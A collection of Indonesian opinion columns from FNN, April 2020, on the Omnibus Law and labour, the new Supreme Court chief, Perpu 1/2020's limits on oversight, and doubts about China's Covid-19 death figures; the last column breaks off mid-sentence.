By Tony Rosyid Jakarta FNN – Selasa (07/04). Dalam buku yang berjudul "Conflict and The Web of Group Affiliations", George Simmel membuat teori bahwa keberadaan seseorang, bagaimana dia berpikir dan bertingkat laku akan dipengaruhi oleh keanggotaannya dalam sebuah kelompok. Perintis mazhab interaksionisme simbolis ini ingin mengatakan bahwa sikap, perilaku, cara berpikir, kepentingan dan keberpihakan seseorang akan ditentukan oleh keanggotaan di dalam kelompok. Dalam konteks Omnibus Law Cipta Kerja, pengusaha tetap satu suara dalam kata "setuju" . Lalu berhadapan dengan buruh di sudut yang berbeda. Pengusaha dan buruh, atau dalam bahasa Marx, borjuis dan proletar selalu berada di dalam kutup kepentingan yang berbeda. Pengusaha ingin "untung besar" dengan mengurangi upah dan hak buruh. Sementara buruh ingin "upah layak" dengan mengurangi keuntungan pengusaha. Antara pengusaha dan buruh berebut hasil di tempat yang sama. Yaitu di dunia industri dimana kedua kelompok ini sama-sama berada di dalamnya untuk berebut hasil produksi. Dalam konteks ini, siapa pemenangnya? Di negara modern seperti Amerika, Eropa, Australia, Jepang dan Korea Selatan, negara hadir untuk melindungi kepentingan buruh. Regulasi dibuat agar buruh mendapatkan kelayakan upah. Upah yang tidak hanya cukup untuk makan dan kebutuhan sehari-hari, tetapi juga cukup untuk biaya pendidikan, berlibur dan memenuhi kebutuhan pengembangan diri. Sementara di negara berkembang seperti Indonesia, borjuis hampir selalu menang. Kehadiran negara justru seringkali berpihak dan melindungi kepentingan kapitalis. Alasannya selalu "demi menggenjok pertumbuhan ekonomi". Pertumbuhan ekonomi buat siapa? Buat si kapitalis? Tanya para buruh. Regulasi undang-undang yang mestinya dihadirkan untuk melindungi kepentingan kaum buruh yang selalu dalam posisi lemah, justru seringkali direkayasa untuk keuntungan yang sebesar-besarnya bagi para pengusaha. Ini terjadi karena pengusaha seringkali hadir, ikut serta dan intervensi dalam penyusunan regulasi dan kebijakan itu. Jadi, penindasan terhadap buruh selalu dimulai dari regulasi. Kok bisa para kapitalis itu intervensi? Setiap kapitalis ingin memanen hasil investasinya yang ditanam saat pemilu. Jadi, ada pihak-pihak yang harus bayar hutang? Tanyakan pada mereka! Musim pandemi covid-19 seperti sekarang ini adalah saat yang tepat untuk bayar hutang kepada korporasi, kata Margareto. Mumpung ada aturan "social and physical distancing". Buruh gak boleh demo, karena akan menciptakan kerumunan. Awas tertular virus! Akhir-akhir ini mulai bermunculan banyak cerita atas kehadiran para pengusaha di gedung parlemen saat penyusunan undang-undang. Salah satu cerita diungkap oleh Hamdan Zulfa, mantan ketua Mahkamah Konstitusi (MK) dan mantan anggota DPR. Ia pernah menyaksikan sendiri cek yang dibawa pengusaha tercecer di lantai gedung parlemen. Beberapa waktu lalu, juga viral tulisan seorang profesor dalam obrolan dengan salah satu ketua partai terkait dengan operasi cek dan dolar di parlemen. Cerita klasik. Tapi, tetap menyedihkan. Kalau legislatif saja masuk angin, apalagi eksekutif? Jadi, dalam konteks Omnibus Law, ada dua kelompok yang tidak saja berbeda, tetapi bertabrakan kepentingan, yaitu pengusaha vs buruh. Jika ada pengusaha kok nggak setuju Omnibus Law, mengacu pada teorinya George Simmel, hampir dipastikan itu kepura-puraan. Dobol. Pengusaha adalah pengusaha. Mereka hidup dalam habitat atau kelompok yang sama dalam kepentingan. nggak mungkin menolak. Kata Karl Marx, monyet nggak mungkin memotong dahan dimana ia duduk. Maaf, itu kata Karl Marx. Buruh meradang atas RUU Omnibus Law Cipta Kerja ini. Ada sembilan poin yang membuat mereka protes lalu kerahkan ribuan massa dan ancam akan mogok massal. Diantara poin yang membuat mereka meradang adalah soal hilangnya upah sektoral, pesangon dikurangi, Pemutusan Hubungan Kerja (PHK) dipermudah, Tenaga Kerja Asing (TKA) bebas bekerja di Indonesia, dan tidak ada saksi pidana untuk perusahaan. Ini mah kapitalis banget. Lalu bagaimana penyelesaiannya? Apakah dengan konflik ala Marxis? Tentu tidak. Indonesia negara Pancasila. Pancasila tak memberi ruang buat cara-cara Marxisme dan komunisme untuk digunakan. Era 1948 dan 1965 sudah berakhir. Komunisme akan selalu ditolak di negeri pancasila, meski data sejumlah Jenderal TNI AD, ada upaya membangkitkan kembali. Komunisme mestinya cukup jadi fosil sejarah di Indonesia. Komunis ditolak, apakah kapitalisme diterima? Cara yang paling damai adalah dialog dan kompromi. Dalam hal ini langkah yang harus ditempuh. Pertama, negara mesti berada di tengah. Negara adalah wasit, tidak boleh berpihak. Kedua, negara harus ajak bicara dan dengarkan suara buruh. Gak boleh budge. Ketiga, pengusaha gak boleh diberi ruang untuk intervensi dan menekan negara, meski oknum pengelola negara banyak yang berhutang budi dan dipelihara oleh pengusaha. Singkirkan oknum itu? Nggak mungkin. Terlanjur keluar duit banyak. Tapi, jangan beri ruang mereka untuk bertingkah semaunya. Negara harus kuat, tak boleh kalah dengan borjuis. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Harapan Kepada Ketua Mahkamah Agung Terpilih M. Syarifuddin

By TM Luthfi Yazid Jakarta FNN – Selasa (07/04). Di tengah keprihatinan pandemik Covid-19 atau corona virus yang belum memberikan kepastian kapan akan berakhir, Mahkamah Agung (MA) RI mengadakan sidang paripurna khusus untuk memilih ketuanya yang baru, menggantikan M Hatta Ali. Setelah dilakukan pemilihan melalui voting oleh para hakim agung (dengan 47 kartu suara) dalam dua kali putaran. Terpilihlah Ketua Mahkamah Agung yang baru, yaitu Dr. H. M. Syarifuddin SH. MH. yang memperoleh 32 suara, meninggalkan pesaingnya Dr. H. Andi Samsan Nganro SH. MH. yang hanya mengantongi 14 suara. Dalam pidato setelah terpilih sebagai Ketua MA dalam pemilihan yang berlangsung demokratis, M Syarifuddin, itu berjanji bahwa dunia peradilan hari ini harus lebih baik dari hari kemarin. Dunia peradilan esok harus lebih baik dari hari ini. Syarifuddin juga berjanji bahwa kepemimpinannya bukan hanya akan dipertanggungjawabkan kepada rakyat dan negara, namun juga kepada Tuhan Yang Maha Esa, Allah SWT. Janji ini merupakan amanah dan tanggungjawab, sehingga karenanya harus diwujudkan. Selamat kepada Dr. H. M. Syarifuddin. Beberapa tugas berat telah menunggu untuk disikapinya, sekaligus sebagai harapan publik kepada Ketua MA yang baru. Pertama, Ketua MA Syarifuddin harus melanjutkan reformasi dunia peradilan. Blue print reformasi dunia peradilan perlu diteruskan dan direalisasikan. Reformasi ini mencakup integritas personal para hakim maupun kelembagaan. Integritas personal hakim menyangkut integritas pribadi dan kapabilitas. Soal integritas adalah persoalan yang sangat fundamental dalam pembaruan dunia peradilan. Sebab sesungguhnya norma-norma atau aturan hukum itu, kata Pitlo, hanyalah tumpukan benda-benda mati. Dan karenanya tergantung kepada hakimnya. Itu sebabnya yang utama dituntut dari seorang hakim adalah integritas. Setelah itu, baru kapabilitas. Bukan kapabilitas dahulu, baru integritas. Karena itu seorang hakim dituntut bukan hanya memiliki kapabilitas membaca teks-teks hukum (legal text) dan menguasai teknik-teknik hukum, namun juga harus sanggup menggali jiwa keadilan (essence of justice). Tentu saja tidak cukup syarat integritas dan kapabilitas. Melainkan harus ditambah dengan kearifan (wisdom). Seorang hakim yang memiliki integritas, kapabilitas dan wisdom inilah yang akan sanggup mendistribusikan keadilan sesuai amanat Sila kelima Pancasila “Keadilan Sosial Bagi Seluruh Rakyat Indonesia”. Hakim yang memiliki syarat lengkap seperti inilah yang sanggup menjaga independensinya terhadap diri sendiri, terhadap orang lain maupun terhadap lembaga. Tujuannya, agar sang hakim meletakkan keadilan di atas dirinya. Dia harus bersandar hanya pada nilai keadilan dan kebenaran (truth and justice). Kedua, Ketua MA yang baru Syarifuddin diharapkan memiliki kemampuan manajerial, termasuk meningkatkan kualitas para hakim yang jumlahnya sekitar 8.000 hakim di seluruh Indonesia, yakni bagaimana dapat melahirkan hakim-hakim yang bersih, jujur dan amanah. Catatan gelap dunia peradilan di masa lalu, seperti pernah ditulis oleh Sabastian Pompe, The Indonesian Supreme Court: A Study of Institutional Collapse (Runtuhnya Institusi Mahkamah Agung) harus dikubur dan tak boleh terulang kembali. Termasuk di sini adalah bagaimana agar penumpukan perkara (backlog cases) dapat terus diminimalisasi. Untuk itu penyelesaian perkara secara mediasi di pengadilan (court connected mediation) harus ditingkatkan keberhasilannya secara substantif. Selama ini upaya mediasi di pengadilan hanyalah sekedar pelengkap formalitas saja. Padahal di negara-negara maju keberhasilan mediasi di pengadilan prosentasenya sangat tinggi. Ketiga, jika syarat pertama dan kedua di atas terpenuhi, maka yang akan tercipta adalah Justice Machinery System. Sistem pendistribusian keadilan yang berjalan secara otomatis. Inilah cara mendistribusikan pelayanan guna menciptakan kepastian hukum yang berkeadilan sesuai mandat konstitusi Pasal 28 UUD 1945. Keempat, Ketua MA Syarifuddin harus sanggup menjalin kerjasama dengan lembaga-lembaga negara lainnya dengan tetap menjaga marwah dan independensinya sebagai lembaga utama tempat berlindung bagi para pencari keadilan (justice seeker). Pada titik inilah faktor kepemimpinan (leadership) menjadi sangat penting. Kelima, Ketua MA Syarifuddin perlu melanjutkan kebijakan pendahulunya Ketua Mahkamah Agung M. Hatta Ali terkait Organisasi Advokat. Bagaimana pun Organisasi Advokat adalah salah satu pilar penegakan hukum di dunia peradilan. Dalam Refleksi Akhir Tahun, mantan Ketua MA Hatta Ali menyatakan bahwa MA tidak akan terlibat dan tidak akan berpihak kepada organisasi advokat yang ada. Hatta Ali tak akan mengintervensi soal kisruh wadah tunggal organisasi advokat. Ia menyatakan, biarkan pasar dan masyarakat pencari keadilan yang menentukan sendiri. Kebijakan mantan Ketua MA M. Hatta Ali sudah tepat dan sudah sejalan dengan mandat konstitusi, UUD 1945. Yang perlu dibenahi adalah bagaimana agar dibuat limited threshold of lawyers association, seperti parliamentary threshold dalam partai politik. Organisasi Advokat yang tidak memenuhi threshold dan beberapa kualifikasi lainnya, maka harus didiskualifikasi. Sejarah telah membuktikan bahwa upaya yang hanya membentuk single bar telah banyak menguras energi, dan dalam sejarah terbukti telah mengalami kegagalan. Penulis adalah Wakil Presiden Kongres Advokat Indonesia

Perpu Terbit, Wewenang Dari DPR BPK dan Pengadilan Hilang

Wahai Manusia, sekarang aku memimpin urusan kalian. Padahal aku bukanlah manusia terbaik di antara kalian. Jika aku melakukan kebenaran, dukunglah aku. Namun, jika aku berbuat kesalahan luruskanlah aku! Ingatlah, sesungguhnya aku adalah orang yang lemah di antara kalian, Dia kuat dalam pandanganku hingga aku berikan hak kepadanya. Dan sesungguhnya orang kuat di antara kalian, dia lemah dalam Pandanganku hingga aku mengambil hak darinya. Patuhilah aku, selama aku menaati Allah dan Rasul-Nya. Dan janganlah kalian patuhi aku, jika aku mengingkari Allah dan Rasul-nya! (Sayidina Abubakar As Siddiq RA) By Dr. Margarito Kamis Jakarta FNN – Selasa (07/03). Ya Allah ya Rab Al Haq. Engkau cek kualitas iman kami pada-Mu, dengan mengutus mahluk-Mu yang bernama corona. Sungguh dia menyeramkan. Kami hampir tak berdaya. Corona, mahluk tak terlihat dengan indra kasar itu. Datang dengan cara yang satu dan lainnya belum dapat dijelaskan hingga kini. Subhanallah. Mahluk tak berbentuk dan tak terlihat itu, dengan kuasa alam-Mu, membuat manusia terlihat jauh lebih kecil darinya. Tak sedikit orang di seantero dunia ini terhenyak, terdekap takut tak berujung, tak berdaya dan harus sembunyi darinya. Sungguh ini ujian, yang terlalu sulit untuk dilupakan. Orang-orang berseru tinggal saja dirumah. Jangan begini dan jangan begitu. Seruan itu membahana, memekik telinga lalai dan hati yang abai, untuk sekadar saling mengingatkan. Kematian yang tak seorangpun dapat mendekatkannya, dan tak seorang juapun yang dapat menjauhkan dari setiap mahluk yang memiliki ruh, kini menyempitkan nafas setiap orang. Itu menjadi sebab banyak hal berantakan. Ekonomi, begitu para ahli di bidang ini menyebut, berantakan. Korporasi, dengan tabiat bawaannya yang cerdas menindas dalam keadaan normal. Jago dalam urusan lobi-melobi, atur sana atur sini dengan cara yang tak dapat dijangkau orang kecil, ternyata oleng juga. Orang-orang kehilangan kerja. Duit menjauh, sebegitu jauhnya sehingg tak lagi dapat dibayangkan datangnya. Tak bisa bayar ini dan bayar itu. Utang melekat dalam setiap denyut nadi. Ia menyatu dalam setiap hentakan nafas. Sesak. Berat jadinya. Korporasi yang ahli akal-akal laporan keuangan, terpojok juga. Uang berkurang. Rugi muncul menjadi nyanyian nelangsa disepanjang waktu teror corona. Seperti anak ayam diteror elang kecil, lari meminta proteksi ke induknya. Seperti bocah yang tak mampu menghalau gangguan dengan tangisannya, lari menuju bundanya meminta perlindungan. Rakyat pun menanti uluruan tangan ihlas dan tulus pemerintah. Begitulah panorama di sepanjang teror corona ini. Sedih, sungguh sedih. Marahkah engkau Ya Rab? Sungguh alam kecil para Wali terus menyeru betapa Rahim-Mu terlalu besar. Sebegitu besarnya sehingga tak terbayangkan dibandingkan dengan marah-Mu. SayangMu, begitu seruan para Wali dengan kejuhudannya, lebih besar dari dunia dan seisinya. Sedih Ya Allah, ujian kecil-Mu ini telah mengakibatkan akal sehat sebagian orang melayang. Entah kemana. Padahal kalam-Mu mengingatkan kelak disuatu hari nanti, semua raga akan bicara. Mulut terkunci. Tiada sepatah kata pun dapat terucap sekadar meluruskan keterangan raga lain. Sungguh sedih, di tengah peringatan tak tertimbang nilainya itu, keluarlah Peraturan Pemerintah Pengganti Undang-Undang Nomor 1 Tahun 2020, yang judulnya amat sangat panjang itu. Ya Allah Azza wa Jallah. Kau siapkan hari akhir, hari perhitungan, hari meminta penjelasan dari hamba-hamba-Mu. Itu hari yang berat, dan menakutkan. Tetapi duhai Allah Yang Maha Tahu, Perpu ini membenarkan, memberi hak kepada beberapa pejabat untuk tidak bisa diminta pertanggung jawaban, dan bebas dari harus memberi penjelasan. DPR, yang memang sudah begitu payah, sudah begitu sulit diharapkan, juga tak bisa minta penjelasan mereka para pejabat itu. Mereka, para pejabat yang nyaring menyanyikan syair lagu transparansi, akuntabilitas dan profesionalitas di sepanjang nafasnya, menurut Perpu ini, tak bisa dituntut di pengadilan perdata dan pidana. Bahkan pengadilan tata usaha negara sekalipun. Duhai Allah Yang Maha Rahman, rahmatilah kami dengan rahmat-Mu yang tak terbilang. Hindarkanlah kami ya Allah dari tipuan hukum dunia ini. Tolonglah duhai Allah Yang Maha Penolong. Jauhkan kami dari hukum yang terlalu sulit untuk kami mengerti ini. Ya Allah Yang Maha Pelindung. Lindungi kami semua dari akibat yang bisa membuat kami melalaikan-Mu. Duhai Engkau Yang Maha Bijak. Hidupkanlah akal fikiran kami dalam urusan ini dengan petunjuk-petunjuk-Mu. Jangan biarkan pejabat-pejabat kami tenggelam dalam kelalaian yang membinasakan kami. Entah hadis atau ucapan Sayidina Ali Bin Abu Thalib, Jalaluddin Rumi mengutip dan memenuliskan “Barang siapa yang akalnya bisa menguasai nafsunya, ia menjadi lebih mulia dari malaikat. Barangsiapa yang nafsunya mengalahkan akalnya, ia sungguh lebih rendah dari binatang. Subhanallah. Sinarilah para pejabat yang mengurus urusan ini dengan Nur Muhammad Rasulullah Sallahi Alaihi Wasallam, kekasih-Mu yang Agung itu. Ya Allah, beritahukanlah mereka tentang bagaimana mengetahui sesuatu itu buruk, kalau tak ditunjukan sesuatu yang lain. Buruk ada karena dilawankan dengan baik. Hitam ada karena dilawankan dengan putih.Warak ada karena dilawankan dengan tamak. Kalau uang negara yang dikeluarkan untuk urusan penanganan efek Corona terhadap ekonomi dan keungan tak bisa dikualifikasi kerugian keuangan negara, tak usah dijelaskan. Lalu BPK mau diapakan? Mau periksa apa? Untuk apa? Cari kerjaan apa? Jangan mengada-ada. Kan yang diperiksa adalah level dan derajat akuntabilitas pengeloaan dan tanggung jawab penggunaan keuangan negara. Subhanallah. Ini Perpu membikin DPR tak bisa minta penjelasan mengenai rencana penambahan belanja, sumbernya, dan ruang defisit yang diperlebar lebih dari 3%. Masa Allah, pengadilan juga tak bisa cek pengelolaan dan tanggung jawab pejabat yang menangani urusan besar ini. Uang negara untuk semua biaya kebijakan ini, tak bisa dikualifikasi kerugian negara. BPK mau periksa apa? Untuk apa? Cilaka betul Perpu ini. Bagaimana tidak? Selain soal-soal di atas, soal lainnya adalah menurut UUD 1945, Perpu ini harus diajukan ke DPR pada persidangan berikut untuk mendapatkan persetujuan. Apa nalarnya? Cek argument dibalik Perpu. Untuk apa? Untuk mengetahui apakah alasan yang digunakan masuk akal atau tidak. Apa maknanya? Akuntabilitas. Titik. Praktis DPR, Pengadilan dan BPK yang menajdi tiga organ yang kewenangannya diatur dalam konstitusi. Subhanallah, semuanya dipukul telak dengan Perpu ini. Perpu ini mencabut kewenangan utama lembaga-lembaga negara itu. Ini ilmu apa? Entahlah, mungkin ilmu konstitusi ala Wall Street dari negeri kapitalistik, Amerika. Ilmu tentang pelebaran defisit anggaran kan ilmunya Harry Hopkins, Marriene Eccless, Henry Wallace, orang-orang di lingkaran utama Franklin D. Rosevelt. Ilmu ini, dalam sejarah Amerika muncul di tengah Krisis Keuangan Hebat tahun 1929-1933. Tahun 1933 itu juga Franklin D. Rosevelt dilantik jadi presiden. Memang Henry Morgenthau Jr, menteri keuangan Rosevelt mengusulkan “balanced budget”. Tetapi usul ini dikesampingkan Rosevelt. Selain orang-orang di atas, Rosevelt juga mendapat nasihat dari John Meynard Keynes, Ekonom kenamaan itu. Ilmuan ini memiliki tesis “permanent budget deficit”. Dia, Keynes dipertemukan dengan Rosevelt oleh Felix Frankfurther, penasihatnya yang ahli hukum kenamaan dari Harvard Law School. Sebelum dibawa ke Rosevelt, Felix Frankfurther terlebih dahulu jumpa Keynes, Ekonom top yang dikenal berhaluan politik Socialis Democrat. Sama dengan Rosevelt. Setelah jumpa Frankfurther, Keynes menulis satu artikel di New York Times. Materinya seputar cara menangani krisis. Artikel ini dibawa Felix Frankfurther ke Rosevelt. Dan Rosevelt menyetujuinya, lalu mengikutinya. Berubahlah Tata Negara dan ekonomi Amerika mengikuti alur gagasan Keynes, dan untuk sebagian pemain-pemain utama di Wall Street. Perpu ini tidak spesifik bicara tentang Bank Sentral. Disitulah keanehannya. Apa anehnya? Terdapat ketentuan tentang kewenangan baru Bank Sentral. Sungguhpun tidak persis sama dengan perluasan organ The Fed tahun 1935, tetapi dalam sifatnya sama. Apa samanya? Krisis itu membawa Amerika menambah kewenangan dewan Gubernur The Fed. Itu diatur dalam The Banking Act 1935. Bank sentral kita juga dapat kewenangan baru. Mirip. Kewenangan siginifikan yang dimunculkan The Banking Act 1935 adalah Dewan Gubenur The Fed diberi wewenang mengontrol kebijakan moneter nasional. Di Perpu ini, Bank Indonesia yang tidak lain merupakan Bank Sentral itu, diberi kewenangan memberi bantuan likuiditas tanpa syarat tertentu sebagaimana UU Bank Indonesia sebelumnya. Karena semuanya telah dinyatakan tidak bisa dicegah, maka tidak ada faedahnya bicara prinsip-prinsip hukum administrasi. Presumption of legalitiy, presumption of authenticity, dan presumption of veracity, dan administrative due process. Semuanya tak perlu. Tak ada gunanya. Itu sampah. Tidak berlaku di sini. Sampai kapan keadaan itu? Setidak-tidaknya sampai tahun 2022. Mengapa? Pasal 2 huruf a angka 1 mengatur durasi bahaya dan atau ancaman bahaya corona sampai tahun 2022. Itulah hukum dari ketentuan yang menyatakan defisit APBN sebesar di 3 % (tiga persen) berlaku sampai tahun 2022. Praktis sampai dengan tahun itu, semua tindakan administrasi dalam kerangka menangani bahaya dan ancaman bahaya corona tidak bisa dicek. Titik. Top Markotop. Masa Allah. Lalu bagaimana? Pemerintah sudah sedemikian kuat. DPR saudah sedemikian tak berdaya, sehingga yang bisa dilakukan hanyalah menghaturkan kata bjiak Ibnu As-Sammak kepada Harun Ar-Rasyid, Amirulmukinin ini. Amirulmukinin berkata kepada As-Sammak apa yang bisa engkau berikan kepadaku? Sammak menjawab “saya ingin anda selalu ingat bahwa kelak anda akan berdiri sendirian dihadapan Allah Subhanahu Wata’ala. Kemudian anda akan dimasukan ke surga atau neraka”. Mendengar kata-katanya begitu tajam, seorang pelayan Harun menyela. Tapi As-Sammak tak gentar. Dengan tatapan matanya yang tajam kepada Harun, As-Samak melanjutkan “anda tidak akan didampingi orang ini untuk membela anda pada hari itu.” Masih ada waktu, begitu judul lagu Ebit G. Ade, lagu lama yang dilantunkan kembali bersama Andrea, anaknya. Dan baru saja dirilis. “Mumpum masih ada kesempatan buat kita kumpulkan bekal untuk perjalanan abadi.” Itulah sebait syairnya yang terlalu berat untuk diabaikan. Burung terbang dengan kedua sayapnya, seorang mukmin terbang dengan tekdanya, kata Jalaludin Rumi. Wallau A’alam Bissawab. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Bisakah Dipercaya Data Korban Covid-19 di China?

By Asyari Usman Jakarta FNN - Per siang tadi, Ahad, 5 April 2020, angka kematian Covid-19 di China tercatat 3,329 orang. Angka ini terlihat “kecil” kalau dibandingkan jumlah korban nyawa di Eropa dan Amerika Serikat (AS). Kematian di Italia menembus angka 15,362. Di Spanyol 11,947. Di Prancis 7,560. Di Inggris 4,313. Di Amerika Serikat 8,452. Nah, masuk akalkah korban jiwa Covid-19 di China hanya 3,329? Cukup menarik untuk dicermati. Sebab, berbagai pihak meragukan itu. China dituduh menyembunyikan angka kematian yang sebenarnya. Dan juga angka kasus positif yang sesungguhnya. Per pagi ini, jumlah positif Corona di China “hanya” 81,669. Bandingkan dengan jumlah positif di AS yang menembus 311,357. Di Spanyol mencapai 126,168. Italia mencatat 124,632. Di Jerman ada 96,092 dan di Prancis tercatat 89,953. Banyak yang menyangsikan tranparansi laporan resmi China. Komunitas intelijen Barat secara blak-blakan mengatakan China berbohong tentang jumlah positif Corona dan jumlah kematian. Dalam beberapa hari belakangan ini, kalangan media terpercaya di seluruh dunia menyoroti kebohongan China tsb. Di Inggris, surat kabar “The Daily Mail” melaporkan beberapa hari lalu bahwa sejumlah penasihat senior pemerintah menyampaikan peringatan kepada Perdana Menteri (PM) Boris Johnson mengenai angka-angka Covid-19 di China. Mereka mengatakan, angka-angka korban Corona diperkirakan 15 atau 40 kali lipat dari versi resmi pemerintah China. Sewaktu terjadi wabah SARS di tahun 2000-an, China juga ketahuan tidak jujur melaporkan angka-angka korban. Dan pemerintah Beijing mengakuinya, kemudian. Koran “The New York Times” edisi 2 April 2020 memberitakan, badan-badan intelijen AS menyimpulkan bahwa pemerintah China sendiri mungkin tidak tahu persis seberapa besar epidemi Corona di Wuhan –episentrum awal virus ganas itu. Para pejabat menengah di Wuhan berbohong tentang laju penularan Corona. Juga tentang pemeriksaan (test) massal dan tentang angka kematian. Mereka takut kalau dilaporkan terlalu tinggi, mereka akan dihukum, dicopot atau bahkan lebih dari itu. Laporan-laporan yang sifatnya ABS (asal bapak senang) menjadi semakin kronis di China belakangan ini. Khususnya sejak Presiden Xi Jinping menerapkan cara-cara keras dan otoriter. Sejumlah penduduk Wuhan mengatakan, sebagaimana dikutip media internasional, setiap hari ada 500 guci yang berisi abu kremasi diserahkan kepada keluarga-keluarga yang meninggal. Ada tujuh tempat kremasi besar di Wuhan. Berarti setiap hari 3,500 guci (7x500) diserahkan kepada ahli-waris mayat. Penyerahan itu berlangsung dalam masa 12 hari festival Qing Ming. Festival itu sendiri diselenggarakan hari ini, 5 April 2020. Jika dihitung dari penyerahan ribuan guci itu, maka total kremasi telah dilakukan terhadap 42,000 mayat (12x3,500). Ini berarti sekitar 12 kali dari angka kematian yang diumumkan pemerintah China sampai hari ini (5/4/2020). Kalau benar angka-angka Covid-19 China palsu, fakta ini berdampak besar terhadap pencegahan di nengara-negara lain. Para pakar epidemiologi berpendapat data palsu dari China itu sangat mungkin menyebabkan pemerintah di negara-negara lain cenderung ‘agak santai’ bertindak. Sebaliknya, kalau sejak awal China transparan, maka masyarakat internasional bisa memperhitungkan langkah-langkah pencegahan yang lebih keras. Kejadian yang sangat buruk di Italia, Spanyol, Prancis, Inggris, Belanda, Belgia, Austria, dlsb, kini memicu kecurigaan terhadap skala kejadian Corona di China. Presiden Donald Trump termasuk yang sangat curiga. Barat yakin angka-angka korban Corona di China jauh lebih besar dari yang dilaporkan pemerintah Beijing. Harus diakui, transparasi laporan korban Covid-19 di Eropa dan AS tidak mungkin ditutup-tutupi. Konsekuensinya terhadap para penguasa sangat berat. Keutuhan data di Barat menjadi salah satu “sembako” rakyat yang sangat esensial. Tidak ada yang berani memainkan angka-angka korban apa saja. Ditarik ke Indonesia, tentunya semua orang akan menuntut transparansi angka-angka Covid-19 dan peta penyebarannya. Sangat diharapkan agar para penguasa jangan pernah bermain dengan angka-angka korban dan data geografis Corona. Akibatnya akan sangat fatal.[] 5 April 2020 (Penulis Wartawan Senior)

Dahlan Iskan Abaikan Realita, Banyak Fakta yang Ditutupi China!

Oleh Mochamad Toha Jakarta, FNN - Dalam tulisannya berjudul “Papa Zhang” di Disway.id yang tayang juga di Pepnews.com, Kamis (2 April 2020 | 07:20 WIB), Dahlan Iskan yang sejak awal mengenalnya saya panggil Mas Dahlan itu, terkesan mengunggulkan China atau Tiongkok. Papa Zhang adalah seorang dokter bernama Zhang Wenhong. Di Tiongkok kata-kata dokter Zhang sudah dianggap seperti fatwa ulama. Dokter ahli virus terkemuka di China ini umurnya 51 tahun. Kelahiran Zhang di sebuah kota pantai seberang Taipei. Dokter Zhang lulusan Fakultas Kedokteran Fudan University, Shanghai. Zhang juga pernah kuliah di Harvard Medical School, Boston, Amerika Serikat. Kini Zhang Wenhong menjabat ketua departemen penyakit menular di Huashan Hospital, Shanghai. Nama Zhang Wenhong melangit sejak Januari lalu. Yakni ketika wabah Covid-19 kian serius di Wuhan. Disebutkan Mas Dahlan, waktu itu ia memerlukan lebih banyak dokter lagi yang harus ke garis depan: mengatasi wabah Covid-19. Berarti harus lebih banyak lagi dokter Shanghai yang harus ditugaskan terjun ke Wuhan. Itu untuk menggantikan ”pasukan” gelombang pertama. Dokter Zhang tahu perasaan para dokter yang ditugaskan ke sana itu. Maka dokter Zhang mengeluarkan kata-kata keras. ”Kita tidak seharusnya mengingkari tanggung jawab kita kepada rakyat. Saya tidak peduli kalian suka atau tidak suka dengan tugas ini. Saya tidak peduli kalian melakukannya dengan sepenuh hati atau terpaksa. Pokoknya jalankan.” Video pidatonya itu langsung viral. Ditonton puluhan juta netizen di Tiongkok. Dokter Zhang Wenhong langsung jadi media darling. Menurut Mas Dahlan, Dokter Zhang memang dikenal sebagai dokter yang IQ dan EQ-nya sama-sama tinggi. Pinter, ahli, pandai berkomunikasi, dan mau melayani pertanyaan dari publik di seputar Covid-19. ”Fatwa”-nya tadi adalah jawaban dari salah satu pertanyaan masyarakat. Yakni tentang perlukah minum tambahan vitamin. Dokter Zhang Wenhong tidak memasukkannya dalam ”fatwa”-nya. Ia sangat menekankan ”jangan keluar rumah”. Itulah satu-satunya cara untuk memutus penularan. Kalau semua orang disiplin tidak keluar rumah, Covid-19 teratasi dalam dua bulan. Dokter Zhang tidak hanya diidolakan publik seluruh Tiongkok. Anak buahnya pun sangat mencintainya. ”Beliau suka membina dokter-dokter muda. Sampai-sampai kami memanggil beliau Papa Zhang,” ujar staf di rumah sakit itu. Orang Shanghai pun merasa aman dengan adanya Papa Zhang. Jumlah penderita Covid-19 di Shanghai sangat kecil – dibanding ukuran dan kepadatan penduduknya. Di Shanghai hanya 509 yang terkena Covid-19 dan hanya 5 orang yang meninggal. Di Shanghai 95 persen pasien Covid-19 berhasil disembuhkan. Bandingkan dengan New York: 67.000 yang terkena dan 1.300 lebih yang meninggal. Begitu pentingnya sosok Zhang di Shanghai sampai ada yang bersikap berlebihan. ”Silakan semua dokter Shanghai dikirim ke Wuhan, asal dokter Zhang tetap di sini,” komentar salah satu netizen. Selalu muncul pahlawan rakyat di tengah setiap kesulitan. “Umumnya dari mereka yang berbuat sesuatu dengan ikhlas – tanpa peduli dengan citra,” tulis Mas Dahlan. *Korban Dokter* Jika Mas Dahlan cermat, pahlawan rakyat di China yang sebenarnya adalah dr. Li Wenliang, dokter sekaligus whistleblower yang menyebarkan informasi tentang virus. Dokter Li yang memperingatkan publik terhadap potensi merebaknya virus Corona (Covid-19). Dokter Li lebih pantas disebut sebagai pahlawan rakyat. Dokter yang memperingatkan publik terhadap potensi merebaknya virus, Li Wenliang, Jiang Xueqing, dan Mei Zhongming lebih dulu meninggal akibat virus yang sama. Mengutip CNN Indonesia, Kamis (12/03/2020 14:44 WIB), seorang Kepala Departemen di RS Pusat Wuhan, Ai Fen, menyebut situasi penanganan Covid-19 di sana lebih mengerikan dibandingkan wabah lainnya. Melansir The Straits Times yang melaporkan pemberitaan media bisnis China Caixin Kamis (12/3), sebanyak 230 orang dari 4.000 paramedis di RS Pusat Wuhan dinyatakan terinfeksi Covid-19. Virus corona mulai merebak sejak akhir 2019 di Kota Wuhan, Provinsi Hubei, China. Diduga virus itu berasal dari hewan lalu menular kepada manusia. Virus itu kemudian menyebar ke penjuru negeri dan bahkan lintas negara. Pada awal penyebaran virus corona, mereka berusaha untuk bekerja semaksimal mungkin merawat para pasien tanpa mengetahui skala penyebarannya. Hingga Senin (9/3/2020), dokter yang meninggal akibat virus corona di RS itu sebanyak empat orang. Seorang Optalmologis bernama Zhu Heping adalah korban terbaru. Sebelumnya, dokter yang memperingatkan publik terhadap potensi merebaknya virus, Li Wenliang, Jiang Xueqing, dan Mei Zhongming lebih dulu meninggal akibat virus yang sama. Sementara, Wakil Kepala Departemen Bedah Torakoplastik dan Wakil Kepala Urologis dinyatakan masih dalam kondisi kritis. Dilaporkan Caixin, kengerian tersebut diperparah dengan pembatasan informasi oleh pemerintah dan penyebaran informasi yang keliru. Kepala Penyakit Menular di Pusat Pengendalian Penyakit di Wuhan, Wang Wenyong, bahkan sempat meminta RS untuk memalsukan informasi pasien corona. Mereka memerintahkan agar diagnosis dalam laporan diganti dengan jenis penyakit lain. “Informasi palsu yang 